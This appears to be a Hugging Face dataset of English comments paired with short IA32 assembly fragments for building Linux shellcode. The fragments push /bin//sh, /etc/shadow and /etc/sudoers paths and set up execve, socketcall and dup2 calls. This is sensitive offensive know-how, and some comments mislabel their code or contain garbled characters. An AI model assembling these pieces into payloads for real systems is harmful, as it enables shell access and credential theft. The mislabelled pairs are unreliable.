OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; copy open syscall numebr into eax register
push 0x5
pop eax
; load ope syscall number into eax register
push 0x5
pop eax
; push 0x50446862 onto the stack
push 0x50446862
; push the 0x53534150 onto the stack
push 0x53534150
; push 0x53534150 onto the stack
push 0x53534150
; push Ô_eziÕ on stack
push 0x5f657a69
; push ipproto_tcp value, 6, on stack
push 0x6
; push protocol ipv6 value, 6, on stack
push 0x6
; push 0x6 onto the stack
push 0x6
; push the 0x6 value onto the stack
push 0x6
; push hexadecimal values 0x6, 0x1 and 0x2 on stack
push 0x6
push 0x1
push 0x2
; push the hexadecimal value 0x6, 0x1 and 0x10 on stack that represent respectively then args ipproto_tcp =6, the socket_type = sock_stream (0x1) and af_inet6= 10
push 0x6
push 0x1
push 0xa
; push 0x61622f2f onto the stack
push 0x61622f2f
; push 0x61622f6e onto the stack
push 0x61622f6e
; push 0x61655220 onto the stack
push 0x61655220
; push 0x6168732f onto the stack
push 0x6168732f
; push 0x6168732f to the stack
push 0x6168732f
; push the value 0x6168732f onto the stack
push 0x6168732f
; push Ô/etc/shaÕ on stack
push 0x6168732f
push 0x6374652f
; push the value 0x6168732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
push 0x6168732f
push 0x6374652f
mov ebx, esp
; push 0x61702f2f onto the stack
push 0x61702f2f
; push Ô/etcsswd7.7.//paÕ on stack
push 0x61702f2f
push 0x13371337
push 0x64777373
push 0x6374652f
; push the value 0x61702f2f and the value 0x6374652f onto the stack and point the eax register to the stack register
push 0x61702f2f
push 0x6374652f
mov eax, esp
; push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ebx register to the stack register
push 0x61702f2f
push 0x6374652f
mov ebx, esp
; push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ecx register to the stack register
push 0x61702f2f
push 0x6374652f
mov ecx, esp
; push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edi register to the stack register
push 0x61702f2f
push 0x6374652f
mov edi, esp
; push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edx register to the stack register
push 0x61702f2f
push 0x6374652f
mov edx, esp
; push the value 0x61702f2f and the value 0x6374652f onto the stack and point the esi register to the stack register
push 0x61702f2f
push 0x6374652f
mov esi, esp
; push the 0x61702f63 onto the stack
push 0x61702f63
; push 0x61702f63 onto the stack
push 0x61702f63
; push Ôar/lÕ on satck
push 0x61722f6c
; push 0x622f7273 onto the stack
push 0x622f7273
; push 0x622f7273 to the stack
push 0x622f7273
; push 0x636e2f2f onto the stack
push 0x636e2f2f
; push 0x636e2f2f to the stack
push 0x636e2f2f
; push the 0x636e2f2f onto the stack
push 0x636e2f2f
; push Ô /bin//cnÕ on stack
push 0x636e2f2f
push 0x6e69622f
; push the string Ô/bin//cnÕ on stack
push 0x636e2f2f
push 0x6e69622f
; push 0x6374652f onto the stack
push 0x6374652f
; push 0x6374652f to the stack
push 0x6374652f
; push the 0x6374652f onto the stack
push 0x6374652f
; push the value 0x6374652f onto the stack and point eax to the stack register
push 0x6374652f
mov eax, esp
; push the value 0x6374652f onto the stack and point ebp to the stack register
push 0x6374652f
mov ebp, esp
; push the value 0x6374652f onto the stack and point ebx to the stack register
push 0x6374652f
mov ebx, esp
; push the value 0x6374652f onto the stack and point ecx to the stack register
push 0x6374652f
mov ecx, esp
; push the value 0x6374652f onto the stack and point edi to the stack register
push 0x6374652f
mov edi, esp
; push the value 0x6374652f onto the stack and point edx to the stack register
push 0x6374652f
mov edx, esp
; push the value 0x6374652f onto the stack and point esi to the stack register
push 0x6374652f
mov esi, esp
; push 0x64687373 onto the stack
push 0x64687373
; push the value 0x64687373 onto the stack and point the eax register to the stack register
push 0x64687373
mov eax, esp
; push the value 0x64687373 onto the stack and point the ebp register to the stack register
push 0x64687373
mov ebp, esp
; push the value 0x64687373 onto the stack and point the ebx register to the stack register
push 0x64687373
mov ebx, esp
; push the value 0x64687373 onto the stack and point the ecx register to the stack register
push 0x64687373
mov ecx, esp
; push the value 0x64687373 onto the stack and point the edi register to the stack register
push 0x64687373
mov edi, esp
; push the value 0x64687373 onto the stack and point the edx register to the stack register
push 0x64687373
mov edx, esp
; push the value 0x64687373 onto the stack and point the esi register to the stack register
push 0x64687373
mov esi, esp
; push 0x6475732f onto the stack
push 0x6475732f
; push 0x6475732f to the stack
push 0x6475732f
; push the 0x6475732f onto the stack
push 0x6475732f
; push the value 0x6475732f and the value 0x6374652f onto the stack and point the eax register to the stack register
push 0x6475732f
push 0x6374652f
mov eax, esp
; push the value 0x6475732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
push 0x6475732f
push 0x6374652f
mov ebx, esp
; push the value 0x6475732f and the value 0x6374652f onto the stack and point the ecx register to the stack register
push 0x6475732f
push 0x6374652f
mov ecx, esp
; push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register
push 0x6475732f
push 0x6374652f
mov edi, esp
; push the value 0x6475732f and the value 0x6374652f onto the stack and point the edx register to the stack register
push 0x6475732f
push 0x6374652f
mov edx, esp
; push the value 0x6475732f and the value 0x6374652f onto the stack and point the esi register to the stack register
push 0x6475732f
push 0x6374652f
mov esi, esp
; push the 0x64777373 onto the stack
push 0x64777373
; push 0x64777373 onto the stack
push 0x64777373
; push the path //etc/passwd on the stack and load stack pointer to ebx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov ebx, esp
; push the path //etc/passwd on the stack and load stack pointer to ebx
push 0x64777373
push 0x61702f63
push 0x74652f2f
xor ebx, ebp
lea ebx, [esp]
; push ÔecapÕ on stack
push 0x65636170
; push 0x6567772f onto the stack
push 0x6567772f
; push 0x6567772f to the stack
push 0x6567772f
; push 0x656c6966 onto the stack
push 0x656c6966
; push the 0x656c6966 onto the stack
push 0x656c6966
; push ÔenreÕ label on stack
push 0x656e7265
; push 0x65726f43 onto the stack
push 0x65726f43
; push 0x65782e2f onto the stack
push 0x65782e2f
; push 0x65782e2f to the stack
push 0x65782e2f
; push the name of file to be executed = Ô/tmp/.xeÕ
push 0x65782e2f
push 0x706d742f
; push 0x66 onto the stack
push 0x66
; push 0x66 to the stack
push 0x66
; push the 0x66 onto the stack
push 0x66
; load the socketcall number 102 on eax register
push 0x66
pop eax
; load __nr_socketcall into eax register
push 0x66
pop eax
; load __nr_socketcall syscall into al register
push 0x66
pop eax
; load socketcall syscall into eax register
push 0x66
pop eax
; push 0x67513231 onto the stack
push 0x67513231
; push 0x6769666e onto the stack
push 0x6769666e
; push 0x682f2f2f onto the stack
push 0x682f2f2f
; push the 0x682f2f2f value onto the stack
push 0x682f2f2f
; push ascii sh// onto stack
push 0x68732f2f
; push hs// string on stack
push 0x68732f2f
; push Ô//shÕ on stack
push 0x68732f2f
; push //sh to the stack
push 0x68732f2f
; push hs//
push 0x68732f2f
; push the 0x68732f2f value onto the stack
push 0x68732f2f
; push the value 0x68732f2f onto the stack
push 0x68732f2f
; push 0x68732f2f to the stack
push 0x68732f2f
; push 0x68732f2f onto the stack
push 0x68732f2f
; push Ô -le///sh//shÕ on stack
push 0x68732f2f
push 0x68732f2f
push 0x2f656c2d
; push /bin//sh
push 0x68732f2f
push 0x6e69622f
; push Ô/bin//shÕ on stack
push 0x68732f2f
push 0x6e69622f
; push the string Ò/bin//shÓ on stack
push 0x68732f2f
push 0x6e69622f
; push Ò/bin//shÓ on stack
push 0x68732f2f
push 0x6e69622f
; push the string Ô /bin//shÕ on stack
push 0x68732f2f
push 0x6e69622f
; push Ô/bin//shÕ string on stack
push 0x68732f2f
push 0x6e69622f
; push /bin/sh onto the stack and point the eax register to the stack register
push 0x68732f2f
push 0x6e69622f
mov eax, esp
; move /bin/sh into eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
; put ASCII /bin/sh into eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
; move /bin/sh into the eax register
push 0x68732f2f
push 0x6e69622f
mov eax, esp
; save /bin/sh in ebx register
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; save /bin//sh in ebx register
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; ebx points to /bin//sh
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; push //bin/sh in ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; push /bin/sh/ in ebx register
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; push ASCII /bin/sh onto the stack and point the ebx register to the stack register
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; put /bin/sh into ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; move ASCII /bin/sh into ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; move /bin/sh into the ebx register
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; load the string /bin//sh on ebx register
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; make ebx pointing to the string Ò/bin//shÓ
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; load the string Ò/bin//shÓ into ebx regsiter
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; load Ô/bin//sh\0Õ into ebx register
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; move ASCII /bin/sh into ecx
push 0x68732f2f
push 0x6e69622f
mov ecx, esp
; move /bin/sh into the ecx register
push 0x68732f2f
push 0x6e69622f
mov ecx, esp
; push /bin/sh onto the stack and point the ecx register to the stack register
push 0x68732f2f
push 0x6e69622f
mov ecx, esp
; put /bin/sh into ecx
push 0x68732f2f
push 0x6e69622f
mov ecx, esp
; push ASCII /bin/sh onto the stack and point the edx register to the stack register
push 0x68732f2f
push 0x6e69622f
mov edx, esp
; put /bin/sh into edx
push 0x68732f2f
push 0x6e69622f
mov edx, esp
; move ASCII /bin/sh into edx
push 0x68732f2f
push 0x6e69622f
mov edx, esp
; move /bin/sh into the edx register
push 0x68732f2f
push 0x6e69622f
mov edx, esp
; push the string Ô-le//bin//shÕ on stack
push 0x68732f2f
push 0x6e69622f
push 0x2f656c2d
; push Ôhs/bÕ
push 0x68732f6e
; push the 0x68732f6e onto the stack
push 0x68732f6e
; push 0x68732f6e to the stack
push 0x68732f6e
; push 0x68732f6e onto the stack
push 0x68732f6e
; push the string //bin/sh on the stack
push 0x68732f6e
push 0x69622f2f
; push the path //bin/sh in ebx register
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
; load the string //bin/sh on the register ebx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
; push the value 0x68735858 onto the stack
push 0x68735858
; push 0x68736162 to the stack
push 0x68736162
; push 0x68736162 onto the stack
push 0x68736162
; push the string Ô////bin/bashÕ on stack
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
; push Ô////bin/bashÕ into the stack
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
; push the string Ô////bin/bashÕ onto the stack
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
; push 'hsad' on stack
push 0x68736164
; push 0x68736164 to the stack
push 0x68736164
; push 0x68736164 onto the stack
push 0x68736164
; push (////bin/dash) into the stack
push 0x68736164
push 0x2f6e6962
push 0x2f2f2f2f
; push the value 0x6873732f onto the stack
push 0x6873732f
; push the value 0x6873732f and the value 0x6374652f onto the stack and point the eax register to the stack register
push 0x6873732f
push 0x6374652f
mov eax, esp
; push the value 0x6873732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
push 0x6873732f
push 0x6374652f
mov ebx, esp
; push the value 0x6873732f and the value 0x6374652f onto the stack and point the ecx register to the stack register
push 0x6873732f
push 0x6374652f
mov ecx, esp
; push the value 0x6873732f and the value 0x6374652f onto the stack and point the edi register to the stack register
push 0x6873732f
push 0x6374652f
mov edi, esp
; push the value 0x6873732f and the value 0x6374652f onto the stack and point the edx register to the stack register
push 0x6873732f
push 0x6374652f
mov edx, esp
; push the value 0x6873732f and the value 0x6374652f onto the stack and point the esi register to the stack register
push 0x6873732f
push 0x6374652f
mov esi, esp
; push hsz/ on stack
push 0x68737a2f
; push 0x68737a2f onto the stack
push 0x68737a2f
; push the string Ô/bin/zshÕ on stack
push 0x68737a2f
push 0x6e69622f
; load hexadecimal value 0x68909090 into eax
push 0x68909090
pop eax
; push the 0x69616863 onto the stack
push 0x69616863
; push Ôib//Õ
push 0x69622f2f
; push the 0x69622f2f onto the stack
push 0x69622f2f
; push 0x69622f2f to the stack
push 0x69622f2f
; push 0x69622f2f onto the stack
push 0x69622f2f
; push the value 0x69622f2f onto the stack and point the eax register to the stack register
push 0x69622f2f
mov eax, esp
; push the value 0x69622f2f onto the stack and point the ebx register to the stack register
push 0x69622f2f
mov ebx, esp
; push the value 0x69622f2f onto the stack and point the ecx register to the stack register
push 0x69622f2f
mov ecx, esp
; push the value 0x69622f2f onto the stack and point the edx register to the stack register
push 0x69622f2f
mov edx, esp
; push 0x69622f3a onto the stack
push 0x69622f3a
; push 0x69622f65 onto the stack
push 0x69622f65
; push 0x69622f65 to the stack
push 0x69622f65
; push the 0x69622f65 onto the stack
push 0x69622f65
; push 0x6962732f onto the stack
push 0x6962732f
; push the 0x6962732f onto the stack
push 0x6962732f
; push Ôk/stÕ label
push 0x6b2f7379
; push 0x6c626174 onto the stack
push 0x6c626174
; push the address 127.1.1.1 google.com on stack
push 0x6d6f632e
push 0x656c676f
push 0x6f672031
push 0x2e312e31
push 0x2e373231
; push ÔmodnÕ on stack
push 0x6d6f646e
; push the 0x6d722f2f onto the stack
push 0x6d722f2f
; push 0x6d726574 onto the stack
push 0x6d726574
; push 0x6d726574 to the stack
push 0x6d726574
; push the 0x6e onto the stack
push 0x6e
; push ascii nib/ onto stack
push 0x6e69622f
; push nib/ string on stack
push 0x6e69622f
; push Ô/binÕ on stack
push 0x6e69622f
; push nib/ on stack
push 0x6e69622f
; push /bin to the stack
push 0x6e69622f
; push 0x6e69622f onto the stack
push 0x6e69622f
; push nib/
push 0x6e69622f
; push the 0x6e69622f onto the stack
push 0x6e69622f
; push the value 0x6e69622f onto the stack
push 0x6e69622f
; push the value 0x6e69622f and the value 0x7273752f onto the stack and point the eax register to the stack register
push 0x6e69622f
push 0x7273752f
mov eax, esp
; push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ebx register to the stack register
push 0x6e69622f
push 0x7273752f
mov ebx, esp
; push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ecx register to the stack register
push 0x6e69622f
push 0x7273752f
mov ecx, esp
; push the value 0x6e69622f and the value 0x7273752f onto the stack and point the edx register to the stack register
push 0x6e69622f
push 0x7273752f
mov edx, esp
; push the 0x6e776f64 onto the stack
push 0x6e776f64
; push -vzn parameter on the stack
push 0x6e7a762d
; push 0x6e7a762d onto the stack
push 0x6e7a762d
; push the value 0x6e7a762d onto the stack and point the ebp register to the stack register
push 0x6e7a762d
mov ebp, esp
; push the value 0x6e7a762d onto the stack and point the ebx register to the stack register
push 0x6e7a762d
mov ebx, esp
; push the value 0x6e7a762d onto the stack and point the edi register to the stack register
push 0x6e7a762d
mov edi, esp
; push the value 0x6e7a762d onto the stack and point the esi register to the stack register
push 0x6e7a762d
mov esi, esp
; push 0x6f635f64 onto the stack
push 0x6f635f64
; push 0x6f723a30 onto the stack
push 0x6f723a30
; push the value 0x7 onto the stack and point edx to the stack register
push 0x7
mov edx, esp
; push 0x70692f6e onto the stack
push 0x70692f6e
; push the 0x70692f6e onto the stack
push 0x70692f6e
; push 0x706d742f onto the stack
push 0x706d742f
; push 0x706d742f to the stack
push 0x706d742f
; push the 0x706d742f onto the stack
push 0x706d742f
; push 0x7268732f onto the stack
push 0x7268732f
; push Ôrp//Õ on stack
push 0x72702f2f
; push 0x72706475 onto the stack
push 0x72706475
; push 0x7273752f onto the stack
push 0x7273752f
; push 0x7273752f to the stack
push 0x7273752f
; push Ôs/coÕ on stack
push 0x732f636f
; push Ôs_avÕ on stack
push 0x735f6176
; push 0x7361702f to the stack
push 0x7361702f
; push 0x7361702f onto the stack
push 0x7361702f
; push 0x73644d24 onto the stack
push 0x73644d24
; push 0x7369642d to the stack
push 0x7369642d
; push 0x7369642d onto the stack
push 0x7369642d
; push the 0x7372656f onto the stack
push 0x7372656f
; push 0x7372656f to the stack
push 0x7372656f
; push 0x7372656f onto the stack
push 0x7372656f
; push Ò/etc/sudoersÓ on stack
push 0x7372656f
push 0x6475732f
push 0x6374652f
; push Ô/etc/sudoersÕ into stack
push 0x7372656f
push 0x6475732f
push 0x6374652f
; push 0x7374736f onto the stack
push 0x7374736f
; push the 0x7374736f onto the stack
push 0x7374736f
; push the string ///etc/hosts on stack
push 0x7374736f
push 0x682f6374
push 0x652f2f2f
; push 0x74 onto the stack
push 0x74
; push 0x74 to the stack
push 0x74
; load the string /usr/bin/wget in ebx regsiter
push 0x74
push 0x6567772f
push 0x6e69622f
push 0x7273752f
mov ebx,esp
; push 0x742f2f2f onto the stack
push 0x742f2f2f
; push the 0x742f2f2f onto the stack
push 0x742f2f2f
; push 0x742f3a31 onto the stack
push 0x742f3a31
; push 0x74303072 onto the stack
push 0x74303072
; push the value 0x7461632f and the value 0x6e69622f onto the stack and point the eax register to the stack register
push 0x7461632f
push 0x6e69622f
mov eax, esp
; push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ebx register to the stack register
push 0x7461632f
push 0x6e69622f
mov ebx, esp
; push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ecx register to the stack register
push 0x7461632f
push 0x6e69622f
mov ecx, esp
; push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edi register to the stack register
push 0x7461632f
push 0x6e69622f
mov edi, esp
; push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edx register to the stack register
push 0x7461632f
push 0x6e69622f
mov edx, esp
; push the value 0x7461632f and the value 0x6e69622f onto the stack and point the esi register to the stack register
push 0x7461632f
push 0x6e69622f
mov esi, esp
; push the 0x74652f2f onto the stack
push 0x74652f2f
; push 0x74652f2f onto the stack
push 0x74652f2f
; push 0x746f6f72 onto the stack
push 0x746f6f72
; push the 0x74756873 onto the stack
push 0x74756873
; push 0x74756f2f onto the stack
push 0x74756f2f
; push the 0x74756f2f onto the stack
push 0x74756f2f
; push 0x752f2f2f onto the stack
push 0x752f2f2f
; push 0x752f2f2f to the stack
push 0x752f2f2f
; push 0x7665642f onto the stack
push 0x7665642f
; push the 0x7665642f onto the stack
push 0x7665642f
; push 0x76766c2d onto the stack
push 0x76766c2d
; push 0x76766c2d to the stack
push 0x76766c2d
; push the 0x76766c2d onto the stack
push 0x76766c2d
; push the string Ô//etc/shadowÕ on stack
push 0x776f6461
push 0x68732f63
push 0x74652f2f
; load the string Ô/etc/gshadowÕ into ebx regsiter
push 0x776f6461
push 0x6873672f
push 0x6374652f
mov ebx, esp
; load hexadecimal value 0x776f6490 into ebx register
push 0x776f6490
pop ebx
; push 0x78 onto the stack
push 0x78
; push 0x78 to the stack
push 0x78
; push the 0x78 onto the stack
push 0x78
; move the character x in ebx register
push 0x78
mov ebx, esp
; push 0x782f2f32 onto the stack
push 0x782f2f32
; push 0x782f2f32 to the stack
push 0x782f2f32
; push 0x782f6e69 onto the stack
push 0x782f6e69
; push 0x782f6e69 to the stack
push 0x782f6e69
; push 0x78534a52 onto the stack
push 0x78534a52
; push 0x79616c70 to the stack
push 0x79616c70
; push 0x79616c70 onto the stack
push 0x79616c70
; push 0x8 onto the stack
push 0x8
; push inet_addr 192.168.227.129 (hex)
push 0x81e3a8c0
; push 0x81e3a8c0 onto the stack
push 0x81e3a8c0
; push ip address 192.168.1.133 (hex)
push 0x8501a8c0
; push 0x8501a8c0 onto the stack
push 0x8501a8c0
; push af_inet6 value, 10, on stack
push 0xa
; push af_inet6 = 10 on stack
push 0xa
; push 0xa onto the stack
push 0xa
; push 0xa to the stack
push 0xa
; push the 0xa01a8c0 onto the stack
push 0xa01a8c0
; push 0xb to the stack
push 0xb
; push 0xb onto the stack
push 0xb
; load execve in eax
push 0xb
pop eax
; load __nr_execve into eax register
push 0xb
pop eax
; load __nr_execve syscall into eax register
push 0xb
pop eax
; load execve syscall number into eax register
push 0xb
pop eax
; load execve syscall number into eax reegisster
push 0xb
pop eax
; load execve syscall into eax register
push 0xb
pop eax
; push the hexadecimal value 0xb on the stack and put it in eax register taking it from the stack
push 0xb pop eax
; load hexadecimal value into eax and edx content
push 0xc
pop eax
pop edx
; push 0xdebf value to the stack
push 0xdebf
; push ip address 127.255.255.254 on stack
push 0xefffff7f
; push 0xefffff7f onto the stack
push 0xefffff7f
; push 0xf onto the stack
push 0xf
; load chmod syscall number into eax register
push 0xf
pop eax
; load chmod syscall into eax
push 0xf
pop eax
; load chmod syscall into eax register
push 0xf
pop eax
; push hexadecimal value 0xffffff90 into ebx register
push 0xffffff90
pop ebx
; push hexadecimal value 0xfffffffa on stack
push 0xfffffffa
; push 1 to the stack
push 1
; push 1 onto the stack
push 1
; push 10 onto the stack
push 10
; push the value 10 onto the stack and point eax to the stack register
push 10
mov eax, esp
; push syscall for socketcall() 102
push 102
; push 102 onto the stack
push 102
; push the value 12 onto the stack and point ebx to the stack register
push 12
mov ebx, esp
; push the value 15 onto the stack and point ecx to the stack register
push 15
mov ecx, esp
; push 16 onto the stack (addrlen = 16)
push 16
; push the size of strcut sockaddr_in
push 16
; push 16 onto the stack
push 16
; push 2 onto stack (af_inet = 2)
push 2
; push 2 onto the stack
push 2
; push 20 onto the stack
push 20
; push the 20 onto the stack
push 20
; push 216 value to the stack
push 216
; push 6 onto the stack
push 6
; push the values 6, 1 and 10 on stack
push 6
push 1
push 10
; push ax onto the stack
push ax
; push ax to the stack
push ax
; push the ax onto the stack
push ax
; push bx on the stack
push bx
; push bx content on the stack
push bx
; push bx onto the stack
push bx
; push bx to the stack
push bx
; push the contents of the bx register onto the stack
push bx
; push the byte -1 onto the stack
push byte -1
; push the byte +0x1 onto the stack
push byte +0x1
; push the byte +0x10 onto the stack
push byte +0x10
; push the byte +0x2 onto the stack
push byte +0x2
; push the byte +0x3 onto the stack
push byte +0x3
; push the byte +0x46 onto the stack
push byte +0x46
; push the byte +0x6 onto the stack
push byte +0x6
; push the byte +0x66 onto the stack
push byte +0x66
; push byte +0x68 on stack
push byte +0x68
; push the byte +0x7f onto the stack
push byte +0x7f
; push the byte +0x8 onto the stack
push byte +0x8
; push the byte +0xb onto the stack
push byte +0xb
; load 11 into eax regsiter
push byte +0xb
pop eax
; push byte 0 onto stack
push byte 0
; push the byte 0x0 onto the stack
push byte 0x0
; push the byte 0x01 onto the stack
push byte 0x01
; push the byte 0x01 to the stack
push byte 0x01
; put the syscall 0x01 into the eax register
push byte 0x01
pop eax
; push 02 onto the stack (af_inet = 2)
push byte 0x02
; push the byte 0x02 onto the stack
push byte 0x02
; push the byte 0x02 to the stack
push byte 0x02
; put the syscall 0x02 into the eax register
push byte 0x02
pop eax
; push the byte 0x04 onto the stack
push byte 0x04
; put the syscall 0x04 into the eax register
push byte 0x04
pop eax
; push the byte 0x05 onto the stack
push byte 0x05
; put the syscall 0x05 into the eax register
push byte 0x05
pop eax
; push the byte 0x06 onto the stack
push byte 0x06
; put the syscall 0x06 into the eax register
push byte 0x06
pop eax
; push the byte 0x0b onto the stack
push byte 0x0b
; load execve syscall number into eax register
push byte 0x0b
pop eax
; put the syscall 0x0b into the eax register
push byte 0x0b
pop eax
; push the byte 0x1 to the stack
push byte 0x1
; push the byte 0x1 onto the stack
push byte 0x1
; push the byte 0x1 onto the stack and point ecx to the stack register
push byte 0x1
mov ecx, esp
; load the byte sock_stream = 1 into ebx register then push ebx content on stack
push byte 0x1
pop ebx
push byte ebx
; load the byte 0x1 into edx register
push byte 0x1
pop edx
; load byte 0x1 into esi
push byte 0x1
pop esi
; push socket parameters sock_stream = 1 and af_inet = 2 on stack
push byte 0x1
push byte 0x2
; push the byte 0x10 on stack
push byte 0x10
; push the byte 0x10 onto the stack
push byte 0x10
; put the syscall 0x10 into the eax register
push byte 0x10
pop eax
; save 16, ecx contents and the saved socket descriptor (in esi) on ecx
push byte 0x10
push ecx
push esi
mov ecx, esp
; push the byte 0x11 onto the stack and point ebx to the stack register
push byte 0x11
mov ebx, esp
; push the byte 0x17 onto the stack
push byte 0x17
; put the syscall 0x17 into the eax register
push byte 0x17
pop eax
; push the size of sockaddr_in6 = 28 on stac
push byte 0x1c
; push the hexadecimal byte value 0x1c that is the size of sockaddr_in6
push byte 0x1c
; push the byte 0x1c onto the stack
push byte 0x1c
; put the syscall 0x1c into the eax register
push byte 0x1c
pop eax
; push the byte 0x1f onto the stack
push byte 0x1f
; put the syscall 0x1f into the eax register
push byte 0x1f
pop eax
; define the queueliit = 2 and push it on stack
push byte 0x2
; push the hexadecimal value 0x2 on stack
push byte 0x2
; push af_inet = 2 on stack
push byte 0x2
; push the byte 0x2 onto the stack
push byte 0x2
; push the byte 0x2 to the stack
push byte 0x2
; push the byte 0x2 onto the stack and point ecx to the stack register
push byte 0x2
mov ecx, esp
; put the syscall 0x2 into the eax register
push byte 0x2
pop eax
; load the hexadecimal value 0x2 into ecx register
push byte 0x2
pop ecx
; push byte 0x2 adn esi content on stack
push byte 0x2
push esi
; push the byte 0x2e onto the stack
push byte 0x2e
; put the syscall 0x2e into the eax register
push byte 0x2e
pop eax
; push the byte 0x2f onto the stack
push byte 0x2f
; put the syscall 0x2f into the eax register
push byte 0x2f
pop eax
; push the byte 0x3 onto the stack
push byte 0x3
; put the syscall 0x3 into the eax register
push byte 0x3
pop eax
; load byte 3 into esi register
push byte 0x3
pop esi
; push hexadecimal value 0x30 as a byte on stack
push byte 0x30
; push the byte 0x30 onto the stack
push byte 0x30
; put the syscall 0x30 into the eax register
push byte 0x30
pop eax
; push the byte 0x3f onto the stack
push byte 0x3f
; load dup2 syscall numbere into eax register
push byte 0x3f
pop eax
; put the syscall 0x3f into the eax register
push byte 0x3f
pop eax
; push the byte 0x4 onto the stack
push byte 0x4
; put the syscall 0x4 into the eax register
push byte 0x4
pop eax
; load __nr_open syscall into eax register
push byte 0x4
pop eax
inc eax
; syscall for sigaction()
push byte 0x43
; make the system call sigaction
push byte 0x43
; sigaction
push byte 0x43
; syscall for sigaction
push byte 0x43
; system call sigaction
push byte 0x43
; put syscall sigaction into the eax register
push byte 0x43
pop eax
; put the syscall 0x43 into the eax register
push byte 0x43
pop eax
; push the byte 0x5 onto the stack and point ebx to the stack register
push byte 0x5
mov ebx, esp
; push the byte 0x5 onto the stack and point edx to the stack register
push byte 0x5
mov edx, esp
; push the byte 0x64 to the stack
push byte 0x64
; push the byte 0x64 onto the stack
push byte 0x64
; put the syscall 0x64 into the eax register
push byte 0x64
pop eax
; load the string /etc/passwd in abx register
push byte 0x64
push word 0x7773
push word 0x7773
push 0x7361702f
push 0x6374652f
mov ebx, esp
; push the byte 0x66 onto the stack
push byte 0x66
; move the command socketcall = 102 in al register
push byte 0x66
pop eax
; move the command socketcall = 102 into eax register
push byte 0x66
pop eax
; load socketcall syscall number into eax regsiter
push byte 0x66
pop eax
; put the syscall 0x66 into the eax register
push byte 0x66
pop eax
; push the byte 0x7 onto the stack and point edx to the stack register
push byte 0x7
mov edx, esp
; push the byte 0x77 to the stack
push byte 0x77
; push the byte 0x77 onto the stack
push byte 0x77
; put the syscall 0x77 into the eax register
push byte 0x77
pop eax
; load the string /etc/shadow in ebx register
push byte 0x77
push word 0x6f64
push 0x6168732f
push 0x6374652f
mov ebx, esp
; push the byte 0x8 onto the stack and point edx to the stack register
push byte 0x8
mov edx, esp
; push the byte 0xb onto the stack
push byte 0xb
; load execve syscall into eax register
push byte 0xb
pop eax
; put the syscall 0xb into the eax register
push byte 0xb
pop eax
; push the byte 0xc onto the stack
push byte 0xc
; put the syscall 0xc into the eax register
push byte 0xc
pop eax
; load execve syscall into eax register
push byte 0xc
pop eax
dec eax
; move byte 1 onto stack
push byte 1
; push byte 1 onto the stack
push byte 1
; push the byte 1 to the stack
push byte 1
; push the byte 1 onto the stack
push byte 1
; push the byte 1 onto the stack and point eax to the stack register
push byte 1
mov eax, esp
; load exit syscall into eax register
push byte 1
pop eax
; load __nr_execve syscall into eax register
push byte 1
pop eax
; put the syscall 1 into the eax register
push byte 1
pop eax
; load syscall exit in al register and call kernel
push byte 1
pop eax
int 0x80
; push the byte 10 onto the stack
push byte 10
; push the byte 10 to the stack
push byte 10
; put the syscall 10 into the eax register
push byte 10
pop eax
; push the byte 11 onto the stack
push byte 11
; push the byte 11 to the stack
push byte 11
; put the syscall 11 into the eax register
push byte 11
pop eax
; push the byte 15 onto the stack
push byte 15
; push the byte 15 to the stack
push byte 15
; move the function chmod in al register
push byte 15
pop eax
; put the syscall 15 into the eax register
push byte 15
pop eax
; push byte 16 onto stack
push byte 16
; push the byte 16 onto the stack
push byte 16
; put the syscall 16 into the eax register
push byte 16
pop eax
; push 16, *ptr and file descriptor on stack
push byte 16
push ecx
push edi
; push the byte 17h onto the stack
push byte 17h
; put the syscall 17h into the eax register
push byte 17h
pop eax
; push byte 2 onto the stack
push byte 2
; push the byte 2 onto the stack
push byte 2
; put the syscall 2 into the eax register
push byte 2
pop eax
; load byte 2 into ecx register
push byte 2
pop ecx
; save the byte 2 into ecx register
push byte 2
pop ecx
; load the byte 2 into edx register
push byte 2
pop edx
; push the byte 2 and esi content on stack
push byte 2
push esi
; push the byte 25 onto the stack
push byte 25
; put the syscall 25 into the eax register
push byte 25
pop eax
; push the lenght of sockaddr_in6 = 28 byte
push byte 28
; push the byte 28 to the stack
push byte 28
; put the syscall 28 into the eax register
push byte 28
pop eax
; push the byte 3 onto the stack and point ebx to the stack register
push byte 3
mov ebx, esp
; push the byte 37 onto the stack
push byte 37
; put the syscall 37 into the eax register
push byte 37
pop eax
; push the byte 3h onto the stack
push byte 3h
; put the syscall 3h into the eax register
push byte 3h
pop eax
; push the byte 4 onto the stack
push byte 4
; load byte 4 into eax register
push byte 4
